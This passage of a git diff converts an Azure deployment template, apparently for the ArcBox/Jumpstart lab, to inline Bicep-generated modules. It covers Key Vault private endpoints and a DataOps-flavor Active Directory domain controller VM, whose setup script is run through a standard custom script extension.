"keyVault_privateEndpoints": { + "copy": { + "name": "keyVault_privateEndpoints", + "count": "[length(coalesce(parameters('privateEndpoints'), createArray()))]" + }, + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-keyVault-PrivateEndpoint-{1}', uniqueString(deployment().name, parameters('location')), copyIndex())]", + "resourceGroup": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'resourceGroupName'), '')]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'name'), format('pep-{0}-{1}-{2}', last(split(resourceId('Microsoft.KeyVault/vaults', parameters('name')), '/')), coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault'), copyIndex()))]" + }, + "privateLinkServiceConnections": "[if(not(equals(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'isManualConnection'), true())), createObject('value', createArray(createObject('name', coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'privateLinkServiceConnectionName'), format('{0}-{1}-{2}', last(split(resourceId('Microsoft.KeyVault/vaults', parameters('name')), '/')), coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault'), copyIndex())), 'properties', createObject('privateLinkServiceId', resourceId('Microsoft.KeyVault/vaults', parameters('name')), 'groupIds', createArray(coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault')))))), createObject('value', null()))]", + "manualPrivateLinkServiceConnections": "[if(equals(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'isManualConnection'), true()), createObject('value', createArray(createObject('name', coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'privateLinkServiceConnectionName'), format('{0}-{1}-{2}', last(split(resourceId('Microsoft.KeyVault/vaults', parameters('name')), '/')), coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault'), copyIndex())), 'properties', createObject('privateLinkServiceId', resourceId('Microsoft.KeyVault/vaults', parameters('name')), 'groupIds', createArray(coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'service'), 'vault')), 'requestMessage', coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'manualConnectionRequestMessage'), 'Manual approval required.'))))), createObject('value', null()))]", + "subnetResourceId": { + "value": "[coalesce(parameters('privateEndpoints'), createArray())[copyIndex()].subnetResourceId]" + }, + "enableTelemetry": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'enableTelemetry'), parameters('enableTelemetry'))]" + }, + "location": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'location'), reference(split(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()].subnetResourceId, '/subnets/')[0], '2020-06-01', 'Full').location)]" + }, + "lock": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'lock'), parameters('lock'))]" + }, + "privateDnsZoneGroupName": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'privateDnsZoneGroupName')]" + }, + "privateDnsZoneResourceIds": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'privateDnsZoneResourceIds')]" + }, + "roleAssignments": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'roleAssignments')]" + }, + "tags": { + "value": "[coalesce(tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'tags'), parameters('tags'))]" + }, + "customDnsConfigs": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'customDnsConfigs')]" + }, + "ipConfigurations": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'ipConfigurations')]" + }, + "applicationSecurityGroupResourceIds": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'applicationSecurityGroupResourceIds')]" + }, + "customNetworkInterfaceName": { + "value": "[tryGet(coalesce(parameters('privateEndpoints'), createArray())[copyIndex()], 'customNetworkInterfaceName')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.25.53.49325", + "templateHash": "4120048060064073955" + }, + "name": "Private Endpoints", + "description": "This module deploys a Private Endpoint.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "roleAssignmentType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "roleDefinitionIdOrName": { + "type": "string", + "metadata": { + "description": "Required. The role to assign. You can provide either the display name of the role definition, the role definition GUID, or its fully qualified ID in the following format: '/providers/Microsoft.Authorization/roleDefinitions/c2f4ef07-c644-48eb-af81-4b1b4947fb11'." + } + }, + "principalId": { + "type": "string", + "metadata": { + "description": "Required. The principal ID of the principal (user/group/identity) to assign the role to." + } + }, + "principalType": { + "type": "string", + "allowedValues": [ + "Device", + "ForeignGroup", + "Group", + "ServicePrincipal", + "User" + ], + "nullable": true, + "metadata": { + "description": "Optional. The principal type of the assigned principal ID." + } + }, + "description": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The description of the role assignment." + } + }, + "condition": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The conditions on the role assignment. This limits the resources it can be assigned to. e.g.: @Resource[Microsoft.Storage/storageAccounts/blobServices/containers:ContainerName] StringEqualsIgnoreCase \"foo_storage_container\"." + } + }, + "conditionVersion": { + "type": "string", + "allowedValues": [ + "2.0" + ], + "nullable": true, + "metadata": { + "description": "Optional. Version of the condition." + } + }, + "delegatedManagedIdentityResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The Resource Id of the delegated managed identity resource." + } + } + } + }, + "nullable": true + }, + "lockType": { + "type": "object", + "properties": { + "name": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Specify the name of lock." + } + }, + "kind": { + "type": "string", + "allowedValues": [ + "CanNotDelete", + "None", + "ReadOnly" + ], + "nullable": true, + "metadata": { + "description": "Optional. Specify the type of lock." + } + } + }, + "nullable": true + }, + "ipConfigurationsType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the resource that is unique within a resource group." + } + }, + "properties": { + "type": "object", + "properties": { + "groupId": { + "type": "string", + "metadata": { + "description": "Required. The ID of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "memberName": { + "type": "string", + "metadata": { + "description": "Required. The member name of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "privateIPAddress": { + "type": "string", + "metadata": { + "description": "Required. A private IP address obtained from the private endpoint's subnet." + } + } + }, + "metadata": { + "description": "Required. Properties of private endpoint IP configurations." + } + } + } + }, + "nullable": true + }, + "manualPrivateLinkServiceConnectionsType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the private link service connection." + } + }, + "properties": { + "type": "object", + "properties": { + "groupIds": { + "type": "array", + "metadata": { + "description": "Required. The ID of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "privateLinkServiceId": { + "type": "string", + "metadata": { + "description": "Required. The resource id of private link service." + } + }, + "requestMessage": { + "type": "string", + "metadata": { + "description": "Optional. A message passed to the owner of the remote resource with this connection request. Restricted to 140 chars." + } + } + }, + "metadata": { + "description": "Required. Properties of private link service connection." + } + } + } + }, + "nullable": true + }, + "privateLinkServiceConnectionsType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the private link service connection." + } + }, + "properties": { + "type": "object", + "properties": { + "groupIds": { + "type": "array", + "metadata": { + "description": "Required. The ID of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "privateLinkServiceId": { + "type": "string", + "metadata": { + "description": "Required. The resource id of private link service." + } + }, + "requestMessage": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. A message passed to the owner of the remote resource with this connection request. Restricted to 140 chars." + } + } + }, + "metadata": { + "description": "Required. Properties of private link service connection." + } + } + } + }, + "nullable": true + }, + "customDnsConfigType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "fqdn": { + "type": "string", + "metadata": { + "description": "Required. Fqdn that resolves to private endpoint IP address." + } + }, + "ipAddresses": { + "type": "array", + "items": { + "type": "string" + }, + "metadata": { + "description": "Required. A list of private IP addresses of the private endpoint." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "name": { + "type": "string", + "metadata": { + "description": "Required. Name of the private endpoint resource to create." + } + }, + "subnetResourceId": { + "type": "string", + "metadata": { + "description": "Required. Resource ID of the subnet where the endpoint needs to be created." + } + }, + "applicationSecurityGroupResourceIds": { + "type": "array", + "nullable": true, + "metadata": { + "description": "Optional. Application security groups in which the private endpoint IP configuration is included." + } + }, + "customNetworkInterfaceName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The custom name of the network interface attached to the private endpoint." + } + }, + "ipConfigurations": { + "$ref": "#/definitions/ipConfigurationsType", + "metadata": { + "description": "Optional. A list of IP configurations of the private endpoint. This will be used to map to the First Party Service endpoints." + } + }, + "privateDnsZoneGroupName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of the private DNS zone group to create if `privateDnsZoneResourceIds` were provided." + } + }, + "privateDnsZoneResourceIds": { + "type": "array", + "nullable": true, + "metadata": { + "description": "Optional. The private DNS zone groups to associate the private endpoint. A DNS zone group can support up to 5 DNS zones." + } + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Optional. Location for all Resources." + } + }, + "lock": { + "$ref": "#/definitions/lockType", + "metadata": { + "description": "Optional. The lock settings of the service." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Tags to be applied on all resources/resource groups in this deployment." + } + }, + "customDnsConfigs": { + "$ref": "#/definitions/customDnsConfigType", + "metadata": { + "description": "Optional. Custom DNS configurations." + } + }, + "manualPrivateLinkServiceConnections": { + "$ref": "#/definitions/manualPrivateLinkServiceConnectionsType", + "metadata": { + "description": "Optional. A grouping of information about the connection to the remote resource. Used when the network admin does not have access to approve connections to the remote resource." + } + }, + "privateLinkServiceConnections": { + "$ref": "#/definitions/privateLinkServiceConnectionsType", + "metadata": { + "description": "Optional. A grouping of information about the connection to the remote resource." + } + }, + "enableTelemetry": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Enable/Disable usage telemetry for module." + } + } + }, + "variables": { + "builtInRoleNames": { + "Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "DNS Resolver Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '0f2ebee7-ffd4-4fc0-b3b7-664099fdad5d')]", + "DNS Zone Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'befefa01-2a29-4197-83a8-272ff33ce314')]", + "Domain Services Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'eeaeda52-9324-47f6-8069-5d5bade478b2')]", + "Domain Services Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '361898ef-9ed1-48c2-849c-a832951106bb')]", + "Network Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '4d97b98b-1d4f-4787-a291-c67834d212e7')]", + "Owner": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "Private DNS Zone Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b12aa53e-6015-4669-85d0-8515ebb3ae7f')]", + "Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'acdd72a7-3385-48ef-bd42-f606fba81ae7')]", + "Role Based Access Control Administrator (Preview)": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f58310d9-a9f6-439a-9e8d-f62e7b41a168')]" + } + }, + "resources": { + "avmTelemetry": { + "condition": "[parameters('enableTelemetry')]", + "type": "Microsoft.Resources/deployments", + "apiVersion": "2023-07-01", + "name": "[format('46d3xbcp.res.network-privateendpoint.{0}.{1}', replace('0.4.1', '.', '-'), substring(uniqueString(deployment().name, parameters('location')), 0, 4))]", + "properties": { + "mode": "Incremental", + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "resources": [], + "outputs": { + "telemetry": { + "type": "String", + "value": "For more information, see https://aka.ms/avm/TelemetryInfo" + } + } + } + } + }, + "privateEndpoint": { + "type": "Microsoft.Network/privateEndpoints", + "apiVersion": "2023-04-01", + "name": "[parameters('name')]", + "location": "[parameters('location')]", + "tags": "[parameters('tags')]", + "properties": { + "copy": [ + { + "name": "applicationSecurityGroups", + "count": "[length(coalesce(parameters('applicationSecurityGroupResourceIds'), createArray()))]", + "input": { + "id": "[coalesce(parameters('applicationSecurityGroupResourceIds'), createArray())[copyIndex('applicationSecurityGroups')]]" + } + } + ], + "customDnsConfigs": "[coalesce(parameters('customDnsConfigs'), createArray())]", + "customNetworkInterfaceName": "[coalesce(parameters('customNetworkInterfaceName'), '')]", + "ipConfigurations": "[coalesce(parameters('ipConfigurations'), createArray())]", + "manualPrivateLinkServiceConnections": "[coalesce(parameters('manualPrivateLinkServiceConnections'), createArray())]", + "privateLinkServiceConnections": "[coalesce(parameters('privateLinkServiceConnections'), createArray())]", + "subnet": { + "id": "[parameters('subnetResourceId')]" + } + } + }, + "privateEndpoint_lock": { + "condition": "[and(not(empty(coalesce(parameters('lock'), createObject()))), not(equals(tryGet(parameters('lock'), 'kind'), 'None')))]", + "type": "Microsoft.Authorization/locks", + "apiVersion": "2020-05-01", + "scope": "[format('Microsoft.Network/privateEndpoints/{0}', parameters('name'))]", + "name": "[coalesce(tryGet(parameters('lock'), 'name'), format('lock-{0}', parameters('name')))]", + "properties": { + "level": "[coalesce(tryGet(parameters('lock'), 'kind'), '')]", + "notes": "[if(equals(tryGet(parameters('lock'), 'kind'), 'CanNotDelete'), 'Cannot delete resource or child resources.', 'Cannot delete or modify the resource or child resources.')]" + }, + "dependsOn": [ + "privateEndpoint" + ] + }, + "privateEndpoint_roleAssignments": { + "copy": { + "name": "privateEndpoint_roleAssignments", + "count": "[length(coalesce(parameters('roleAssignments'), createArray()))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[format('Microsoft.Network/privateEndpoints/{0}', parameters('name'))]", + "name": "[guid(resourceId('Microsoft.Network/privateEndpoints', parameters('name')), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId, coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)]", + "properties": { + "roleDefinitionId": "[if(contains(variables('builtInRoleNames'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName), variables('builtInRoleNames')[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName], if(contains(coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, '/providers/Microsoft.Authorization/roleDefinitions/'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, subscriptionResourceId('Microsoft.Authorization/roleDefinitions', coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)))]", + "principalId": "[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId]", + "description": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'description')]", + "principalType": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'principalType')]", + "condition": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition')]", + "conditionVersion": "[if(not(empty(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition'))), coalesce(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'conditionVersion'), '2.0'), null())]", + "delegatedManagedIdentityResourceId": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'delegatedManagedIdentityResourceId')]" + }, + "dependsOn": [ + "privateEndpoint" + ] + }, + "privateEndpoint_privateDnsZoneGroup": { + "condition": "[not(empty(parameters('privateDnsZoneResourceIds')))]", + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-PrivateEndpoint-PrivateDnsZoneGroup', uniqueString(deployment().name))]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[coalesce(parameters('privateDnsZoneGroupName'), 'default')]" + }, + "privateDNSResourceIds": { + "value": "[coalesce(parameters('privateDnsZoneResourceIds'), createArray())]" + }, + "privateEndpointName": { + "value": "[parameters('name')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.25.53.49325", + "templateHash": "11244630631275470040" + }, + "name": "Private Endpoint Private DNS Zone Groups", + "description": "This module deploys a Private Endpoint Private DNS Zone Group.", + "owner": "Azure/module-maintainers" + }, + "parameters": { + "privateEndpointName": { + "type": "string", + "metadata": { + "description": "Conditional. The name of the parent private endpoint. Required if the template is used in a standalone deployment." + } + }, + "privateDNSResourceIds": { + "type": "array", + "minLength": 1, + "maxLength": 5, + "metadata": { + "description": "Required. Array of private DNS zone resource IDs. A DNS zone group can support up to 5 DNS zones." + } + }, + "name": { + "type": "string", + "defaultValue": "default", + "metadata": { + "description": "Optional. The name of the private DNS zone group." + } + } + }, + "variables": { + "copy": [ + { + "name": "privateDnsZoneConfigs", + "count": "[length(parameters('privateDNSResourceIds'))]", + "input": { + "name": "[last(split(parameters('privateDNSResourceIds')[copyIndex('privateDnsZoneConfigs')], '/'))]", + "properties": { + "privateDnsZoneId": "[parameters('privateDNSResourceIds')[copyIndex('privateDnsZoneConfigs')]]" + } + } + } + ] + }, + "resources": [ + { + "type": "Microsoft.Network/privateEndpoints/privateDnsZoneGroups", + "apiVersion": "2023-04-01", + "name": "[format('{0}/{1}', parameters('privateEndpointName'), parameters('name'))]", + "properties": { + "privateDnsZoneConfigs": "[variables('privateDnsZoneConfigs')]" + } + } + ], + "outputs": { + "name": { + "type": "string", + "metadata": { + "description": "The name of the private endpoint DNS zone group." + }, + "value": "[parameters('name')]" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the private endpoint DNS zone group." + }, + "value": "[resourceId('Microsoft.Network/privateEndpoints/privateDnsZoneGroups', parameters('privateEndpointName'), parameters('name'))]" + }, + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The resource group the private endpoint DNS zone group was deployed into." + }, + "value": "[resourceGroup().name]" + } + } + } + }, + "dependsOn": [ + "privateEndpoint" + ] + } + }, + "outputs": { + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The resource group the private endpoint was deployed into." + }, + "value": "[resourceGroup().name]" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the private endpoint." + }, + "value": "[resourceId('Microsoft.Network/privateEndpoints', parameters('name'))]" + }, + "name": { + "type": "string", + "metadata": { + "description": "The name of the private endpoint." + }, + "value": "[parameters('name')]" + }, + "location": { + "type": "string", + "metadata": { + "description": "The location the resource was deployed into." + }, + "value": "[reference('privateEndpoint', '2023-04-01', 'full').location]" + }, + "groupId": { + "type": "string", + "metadata": { + "description": "The group Id for the private endpoint Group." + }, + "value": "[if(not(empty(reference('privateEndpoint').manualPrivateLinkServiceConnections)), reference('privateEndpoint').manualPrivateLinkServiceConnections[0].properties.groupIds[0], reference('privateEndpoint').privateLinkServiceConnections[0].properties.groupIds[0])]" + } + } + } + }, + "dependsOn": [ + "keyVault" + ] + } + }, + "outputs": { + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the key vault." + }, + "value": "[resourceId('Microsoft.KeyVault/vaults', parameters('name'))]" + }, + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The name of the resource group the key vault was created in." + }, + "value": "[resourceGroup().name]" + }, + "name": { + "type": "string", + "metadata": { + "description": "The name of the key vault." + }, + "value": "[parameters('name')]" + }, + "uri": { + "type": "string", + "metadata": { + "description": "The URI of the key vault." + }, + "value": "[reference('keyVault').vaultUri]" + }, + "location": { + "type": "string", + "metadata": { + "description": "The location the resource was deployed into." + }, + "value": "[reference('keyVault', '2022-07-01', 'full').location]" + } + } + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + } + ], + "outputs": { + "vnetId": { + "type": "string", + "value": "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]" + }, + "subnetId": { + "type": "string", + "value": "[reference(resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName')), '2022-01-01').subnets[0].id]" + } } } } }, { + "condition": "[equals(parameters('flavor'), 'DataOps')]", "type": "Microsoft.Resources/deployments", - "comments": "Deploys Active Directory Domain Services Windows VM", - "apiVersion": "2021-04-01", + "apiVersion": "2022-09-01", "name": "addsVmDeployment", - "condition": "[equals(parameters('flavor'),'DataOps')]", - "dependsOn": [ "mgmtArtifactsAndPolicyDeployment" ], "properties": { - "mode": "Incremental", - "templateLink": { - "uri": "[variables('addsVMTemplateUrl')]", - "contentVersion": "1.0.0.0" + "expressionEvaluationOptions": { + "scope": "inner" }, + "mode": "Incremental", "parameters": { "windowsAdminUsername": { "value": "[parameters('windowsAdminUsername')]" @@ -374,83 +5264,3977 @@ }, "templateBaseUrl": { "value": "[variables('templateBaseUrl')]" + }, + "azureLocation": { + "value": "[parameters('location')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "6158909554667476108" + } + }, + "parameters": { + "addsDomainName": { + "type": "string", + "defaultValue": "jumpstart.local", + "metadata": { + "description": "The FQDN of the domain" + } + }, + "clientVMName": { + "type": "string", + "defaultValue": "[format('{0}-ADDS', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of your Virtual Machine" + } + }, + "windowsAdminUsername": { + "type": "string", + "defaultValue": "arcdemo", + "metadata": { + "description": "Username for the Virtual Machine" + } + }, + "windowsAdminPassword": { + "type": "securestring", + "minLength": 12, + "maxLength": 123, + "metadata": { + "description": "Password for Windows account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long." + } + }, + "windowsOSVersion": { + "type": "string", + "defaultValue": "2022-datacenter-g2", + "metadata": { + "description": "The Windows version for the VM. This will pick a fully patched image of this given Windows version" + } + }, + "azureLocation": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Location for all resources" + } + }, + "vmSize": { + "type": "string", + "defaultValue": "Standard_B2ms", + "metadata": { + "description": "The size of the VM" + } + }, + "deployBastion": { + "type": "bool", + "defaultValue": false, + "metadata": { + "description": "Choice to deploy Azure Bastion" + } + }, + "templateBaseUrl": { + "type": "string", + "defaultValue": "", + "metadata": { + "description": "Base URL for ARM template" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + } + }, + "variables": { + "networkInterfaceName": "[format('{0}-NIC', parameters('clientVMName'))]", + "virtualNetworkName": "[format('{0}-VNet', parameters('namingPrefix'))]", + "dcSubnetName": "[format('{0}-DC-Subnet', parameters('namingPrefix'))]", + "addsPrivateIPAddress": "10.16.2.100", + "bastionName": "[format('{0}-Bastion', parameters('namingPrefix'))]", + "osDiskType": "Premium_LRS", + "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('dcSubnetName'))]", + "networkInterfaceRef": "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]", + "publicIpAddressName": "[if(not(parameters('deployBastion')), format('{0}-PIP', parameters('clientVMName')), format('{0}-PIP', variables('bastionName')))]", + "PublicIPNoBastion": { + "id": "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]" + } + }, + "resources": [ + { + "type": "Microsoft.Network/networkInterfaces", + "apiVersion": "2022-01-01", + "name": "[variables('networkInterfaceName')]", + "location": "[parameters('azureLocation')]", + "properties": { + "ipConfigurations": [ + { + "name": "ipconfig1", + "properties": { + "subnet": { + "id": "[variables('subnetRef')]" + }, + "privateIPAllocationMethod": "Static", + "privateIPAddress": "[variables('addsPrivateIPAddress')]", + "publicIPAddress": "[if(not(parameters('deployBastion')), variables('PublicIPNoBastion'), null())]" + } + } + ] + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]" + ] + }, + { + "condition": "[not(parameters('deployBastion'))]", + "type": "Microsoft.Network/publicIPAddresses", + "apiVersion": "2022-01-01", + "name": "[variables('publicIpAddressName')]", + "location": "[parameters('azureLocation')]", + "properties": { + "publicIPAllocationMethod": "Static", + "publicIPAddressVersion": "IPv4", + "idleTimeoutInMinutes": 4 + }, + "sku": { + "name": "Basic", + "tier": "Regional" + } + }, + { + "type": "Microsoft.Compute/virtualMachines", + "apiVersion": "2022-03-01", + "name": "[parameters('clientVMName')]", + "location": "[parameters('azureLocation')]", + "properties": { + "hardwareProfile": { + "vmSize": "[parameters('vmSize')]" + }, + "storageProfile": { + "osDisk": { + "name": "[format('{0}-OSDisk', parameters('clientVMName'))]", + "caching": "ReadWrite", + "createOption": "fromImage", + "managedDisk": { + "storageAccountType": "[variables('osDiskType')]" + }, + "diskSizeGB": 1024 + }, + "imageReference": { + "publisher": "MicrosoftWindowsServer", + "offer": "WindowsServer", + "sku": "[parameters('windowsOSVersion')]", + "version": "latest" + } + }, + "networkProfile": { + "networkInterfaces": [ + { + "id": "[variables('networkInterfaceRef')]" + } + ] + }, + "osProfile": { + "computerName": "[parameters('clientVMName')]", + "adminUsername": "[parameters('windowsAdminUsername')]", + "adminPassword": "[parameters('windowsAdminPassword')]", + "windowsConfiguration": { + "provisionVMAgent": true, + "enableAutomaticUpdates": false + } + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" + ] + }, + { + "type": "Microsoft.Compute/virtualMachines/extensions", + "apiVersion": "2022-03-01", + "name": "[format('{0}/{1}', parameters('clientVMName'), 'DeployADDS')]", + "location": "[parameters('azureLocation')]", + "properties": { + "publisher": "Microsoft.Compute", + "type": "CustomScriptExtension", + "typeHandlerVersion": "1.10", + "autoUpgradeMinorVersion": true, + "protectedSettings": { + "fileUris": [ + "[uri(parameters('templateBaseUrl'), 'artifacts/SetupADDS.ps1')]" + ], + "commandToExecute": "[format('powershell.exe -ExecutionPolicy Bypass -File SetupADDS.ps1 -domainName {0} -domainAdminUsername {1} -domainAdminPassword {2} -templateBaseUrl {3}', parameters('addsDomainName'), parameters('windowsAdminUsername'), parameters('windowsAdminPassword'), parameters('templateBaseUrl'))]" + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('clientVMName'))]" + ] + } + ], + "outputs": { + "scriptfile": { + "type": "string", + "value": "[uri(parameters('templateBaseUrl'), 'artifacts/SetupADDS.ps1')]" + } } } - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment')]" + ] }, { + "condition": "[equals(parameters('flavor'), 'DataOps')]", "type": "Microsoft.Resources/deployments", - "comments": "Updates VNet DNS servers after ADDS VM is deployed", - "apiVersion": "2021-04-01", + "apiVersion": "2022-09-01", "name": "updateVNetDNSServers", - "condition": "[equals(parameters('flavor'),'DataOps')]", - "dependsOn": [ "mgmtArtifactsAndPolicyDeployment", "addsVmDeployment" ], "properties": { - "mode": "Incremental", - "templateLink": { - "uri": "[variables('mgmtTemplateUrl')]", - "contentVersion": "1.0.0.0" + "expressionEvaluationOptions": { + "scope": "inner" }, + "mode": "Incremental", "parameters": { "workspaceName": { "value": "[parameters('logAnalyticsWorkspaceName')]" }, - "templateBaseUrl": { - "value": "[variables('templateBaseUrl')]" - }, "flavor": { "value": "[parameters('flavor')]" }, "deployBastion": { "value": "[parameters('deployBastion')]" }, + "location": { + "value": "[parameters('location')]" + }, "dnsServers": { - "value": [ "10.16.2.100", "168.63.129.16" ] + "value": [ + "10.16.2.100", + "168.63.129.16" + ] + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "1172818642563861188" + } + }, + "parameters": { + "virtualNetworkName": { + "type": "string", + "defaultValue": "[format('{0}-VNet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the VNet" + } + }, + "subnetName": { + "type": "string", + "defaultValue": "[format('{0}-Subnet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the subnet in the virtual 